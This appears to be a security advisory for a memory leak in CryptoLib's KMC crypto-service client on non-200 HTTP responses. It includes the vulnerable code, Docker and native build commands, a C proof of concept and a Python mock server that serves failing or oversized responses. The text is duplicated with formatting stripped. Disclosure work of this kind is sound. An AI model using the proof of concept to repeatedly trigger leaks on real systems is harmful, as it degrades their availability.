Context
Summary
When the KMC server returns a non-200 HTTP status code, cryptography_encrypt() and cryptography_decrypt() return immediately without freeing previously allocated buffers. Each failed request leaks approximately 467 bytes. Repeated failures (from a malicious server or network issues) can gradually exhaust memory.
Details
In src/crypto/kmc/cryptography_interface_kmc_crypto_service.template.c, the httpCode check performs an early return without cleanup:
Vulnerable code in cryptography_encrypt() at lines 443-452:
// Parse httpCode from response
if (http_code != 200)
{
// Log error
printf(KRED "Error: KMC Crypto returned httpCode %d\n" RESET, http_code);
return CRYPTOGRAPHY_KMC_CRYPTO_SERVICE_GENERIC_FAILURE; // LEAK!
}
Buffers leaked on error path:
http_code_str (allocated just before check)
iv_base64 (line 260)
encrypt_endpoint_final (line 281)
encrypt_uri (line 293)
chunk_write (line 305)
chunk_read (line 306)
chunk_write->response (allocated by write_callback)
Same pattern exists in:
cryptography_encrypt(): lines 443-452
cryptography_decrypt(): lines 630-639
cryptography_authenticate(): similar location
PoC
Option 1: Docker (recommended)
# Build Docker image with ASAN and KMC support
docker build -t cryptolib-asan-kmc -f Dockerfile.asan.kmc .
# Terminal 1: Start mock KMC server inside container
docker run --rm -d --name kmc-server cryptolib-asan-kmc sh -c '
cd /src/SecMate/poc && python3 mock_kmc_server.py --port 8000
'
# Terminal 2: Run PoC (uses /decrypt-fail endpoint which returns 500)
docker exec kmc-server sh -c '
cd /src/build
ASAN_OPTIONS=halt_on_error=1:detect_leaks=1 ./SecMate/poc/poc_kmc_error_response
'
# Cleanup
docker stop kmc-server
Option 2: Native build
git clone https://github.com/nasa/CryptoLib
cd CryptoLib
mkdir build && cd build
cmake -DCRYPTO_KMC=ON \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" ..
make poc_kmc_error_response
Run:
# Terminal 1: Start mock KMC server
cd SecMate/poc
python3 mock_kmc_server.py --port 8000
# Terminal 2: Run PoC (uses /decrypt-fail endpoint which returns HTTP 500)
ASAN_OPTIONS=halt_on_error=1:detect_leaks=1 ./SecMate/poc/poc_kmc_error_response
Expected Output:
[PoC] cryptography_decrypt returned -6
[PoC] LSAN should report only cryptography_decrypt error-path leaks
==PID==ERROR: LeakSanitizer: detected memory leaks
Direct leak of X byte(s) in Y object(s) allocated from:
#0 ... in malloc
#1 ... in cryptography_decrypt cryptography_interface_kmc_crypto_service.template.c:510
...
SUMMARY: AddressSanitizer: ~467 byte(s) leaked in Y allocation(s).
PoC Source: SecMate/poc/poc_kmc_error_response.c
Mock Server: SecMate/poc/mock_kmc_server.py (endpoint /decrypt-fail returns HTTP 500)
Impact
Gradual resource exhaustion on error conditions. An attacker controlling KMC server responses (or performing MITM) can trigger repeated error responses. Each error leaks ~467 bytes. Over time, memory usage grows.
Appendix
PoC Source: SecMate/poc/poc_kmc_error_response.c
/**
* PoC: KMC client non-200 response (leak/early-return path)
*
* Uses the real KMC crypto service client to POST to a mock server
* that returns a 500 error with a small body. This drives the error
* cleanup path where allocations may be leaked.
*
* Prereq: run mock_kmc_server.py --port 8000 in another shell.
*
* Build (ASAN/LSAN):
* cmake -DCRYPTO_EPROC=ON \
* -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
* -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" ..
* make poc_kmc_error_response
*
* Run:
* ASAN_OPTIONS=halt_on_error=1:detect_leaks=1 ./poc_kmc_error_response
*/
#include "crypto.h"
#include "crypto_error.h"
#include "cryptography_interface.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* Allocate KMC config on the heap with strdup'd strings.
* This matches what the library expects: heap-owned config that
* crypto_free_config_structs() can properly free during Crypto_Shutdown().
*
* By doing this correctly, LSAN output will show ONLY the real
* per-call leaks in cryptography_decrypt error paths, not PoC/lifecycle noise.
*/
static void configure_kmc(const char *host, int port)
{
CryptographyKmcCryptoServiceConfig_t *cfg = malloc(sizeof(CryptographyKmcCryptoServiceConfig_t));
memset(cfg, 0, sizeof(*cfg));
cfg->kmc_crypto_hostname = strdup(host);
cfg->protocol = strdup("http");
cfg->kmc_crypto_port = port;
cfg->kmc_crypto_app_uri = strdup("/decrypt-fail");
cfg->mtls_client_cert_path = NULL;
cfg->mtls_client_cert_type = NULL;
cfg->mtls_client_key_path = NULL;
cfg->mtls_client_key_pass = NULL;
cfg->mtls_ca_bundle = NULL;
cfg->mtls_ca_path = NULL;
cfg->mtls_issuer_cert = NULL;
cfg->ignore_ssl_hostname_validation = 1;
cryptography_kmc_crypto_config = cfg;
}
int main(void)
{
configure_kmc("127.0.0.1", 8000);
Crypto_Config_CryptoLib(KEY_TYPE_INTERNAL, MC_TYPE_INTERNAL, SA_TYPE_INMEMORY, CRYPTOGRAPHY_TYPE_KMCCRYPTO,
IV_INTERNAL, CRYPTO_TC_CREATE_FECF_FALSE, TC_PROCESS_SDLS_PDUS_FALSE, TC_HAS_PUS_HDR,
TC_IGNORE_SA_STATE_FALSE, TC_IGNORE_ANTI_REPLAY_TRUE, TC_UNIQUE_SA_PER_MAP_ID_FALSE,
TC_CHECK_FECF_FALSE, 0x3F, SA_INCREMENT_NONTRANSMITTED_IV_TRUE);
/* Configure GVCID managed parameters (required before Crypto_Init) */
GvcidManagedParameters_t gvcid_params = {
.tfvn = 0, .scid = 0x0003, .vcid = 0,
.has_fecf = TC_NO_FECF, .aos_has_fhec = AOS_FHEC_NA,
.aos_has_iz = AOS_IZ_NA, .aos_iz_len = 0,
.has_segmentation_hdr = TC_HAS_SEGMENT_HDRS,
.max_frame_size = TC_MAX_FRAME_SIZE, .has_ocf = TC_OCF_NA, .set_flag = 1
};
Crypto_Config_Add_Gvcid_Managed_Parameters(gvcid_params);
if (Crypto_Init() != CRYPTO_LIB_SUCCESS)
{
printf("[PoC] Crypto_Init failed\n");
return 1;
}
/* Dummy inputs */
uint8_t data_out[16] = {0};
uint8_t data_in[16] = {0};
uint8_t key[32] = {0};
uint8_t iv[12] = {0};
uint8_t ecs = CRYPTO_CIPHER_AES256_GCM;
uint8_t acs = 0;
/* Create minimal SA with ek_ref (required by KMC client) */
SecurityAssociation_t sa = {0};
strncpy(sa.ek_ref, "test-key-ref", REF_SIZE - 1);
/* Call decrypt against /decrypt-fail on the mock server.
* This exercises error cleanup paths for leak detection. */
int32_t status = cryptography_if->cryptography_decrypt(data_out, sizeof(data_out),
data_in, sizeof(data_in),
key, sizeof(key),
&sa, /* sa_ptr with ek_ref */
iv, sizeof(iv),
&ecs, &acs,
NULL /* cam_cookies */);
printf("[PoC] cryptography_decrypt returned %d\n", status);
/*
* Call Crypto_Shutdown() to properly clean up library resources.
* crypto_free_config_structs() will free our heap-allocated config
* and strdup'd strings. This ensures LSAN output shows ONLY the
* per-call leaks in cryptography_decrypt error paths (the actual library bugs).
*/
Crypto_Shutdown();
printf("[PoC] LSAN should report only cryptography_decrypt error-path leaks\n");
return 0;
}
Mock Server: SecMate/poc/mock_kmc_server.py
#!/usr/bin/env python3
"""
Mock KMC HTTP server to exercise KMC client OOM/leak paths.
Endpoints:
/decrypt-large -> 200 OK with a very large JSON body (write_callback realloc stress)
/decrypt-fail -> 500 with small body (early-return leak paths)
/encrypt -> 200 OK with minimal success JSON (AEAD encrypt leak path)
Usage:
python3 mock_kmc_server.py --port 8000
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import argparse
LARGE_B64 = "A" * (1024 * 1024) # 1MB string to force realloc
class Handler(BaseHTTPRequestHandler):
def _set_headers(self, code=200, length=None):
self.send_response(code)
self.send_header("Content-Type", "application/json")
if length is not None:
self.send_header("Content-Length", str(length))
self.end_headers()
def do_POST(self):
if self.path == "/decrypt-large":
body = (
'{"httpCode":200,"base64ciphertext":"%s","metadata":"{}"}'
% LARGE_B64
).encode("utf-8")
self._set_headers(200, len(body))
self.wfile.write(body)
elif self.path == "/decrypt-fail":
body = b'{"httpCode":500,"error":"fail"}'
self._set_headers(500, len(body))
self.wfile.write(body)
elif self.path.startswith("/encrypt"):
# Minimal success response for AEAD encrypt - leak happens on allocation
body = b'{"httpCode":200,"base64ciphertext":"QQ==","metadata":"{}"}'
self._set_headers(200, len(body))
self.wfile.write(body)
else:
self._set_headers(404)
self.wfile.write(b'{"httpCode":404}')
def log_message(self, fmt, *args):
# Silence default logging
return
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--port", type=int, default=8000)
args = ap.parse_args()
server = HTTPServer(("0.0.0.0", args.port), Handler)
print(f"[mock_kmc_server] Serving on port {args.port}")
server.serve_forever()
if __name__ == "__main__":
main()
Context
Summary
When the KMC server returns a non-200 HTTP status code,
cryptography_encrypt()andcryptography_decrypt()return immediately without freeing previously allocated buffers. Each failed request leaks approximately 467 bytes. Repeated failures (from a malicious server or network issues) can gradually exhaust memory.Details
In
src/crypto/kmc/cryptography_interface_kmc_crypto_service.template.c, the httpCode check performs an early return without cleanup:Vulnerable code in cryptography_encrypt() at lines 443-452:
Buffers leaked on error path:
http_code_str(allocated just before check)iv_base64(line 260)encrypt_endpoint_final(line 281)encrypt_uri(line 293)chunk_write(line 305)chunk_read(line 306)chunk_write->response(allocated by write_callback)Same pattern exists in:
cryptography_encrypt(): lines 443-452cryptography_decrypt(): lines 630-639cryptography_authenticate(): similar locationPoC
Option 1: Docker (recommended)
Option 2: Native build
Run:
Expected Output:
PoC Source:
SecMate/poc/poc_kmc_error_response.cMock Server:
SecMate/poc/mock_kmc_server.py(endpoint/decrypt-failreturns HTTP 500)Impact
Gradual resource exhaustion on error conditions. An attacker controlling KMC server responses (or performing MITM) can trigger repeated error responses. Each error leaks ~467 bytes. Over time, memory usage grows.
Appendix
PoC Source:
SecMate/poc/poc_kmc_error_response.cMock Server:
SecMate/poc/mock_kmc_server.py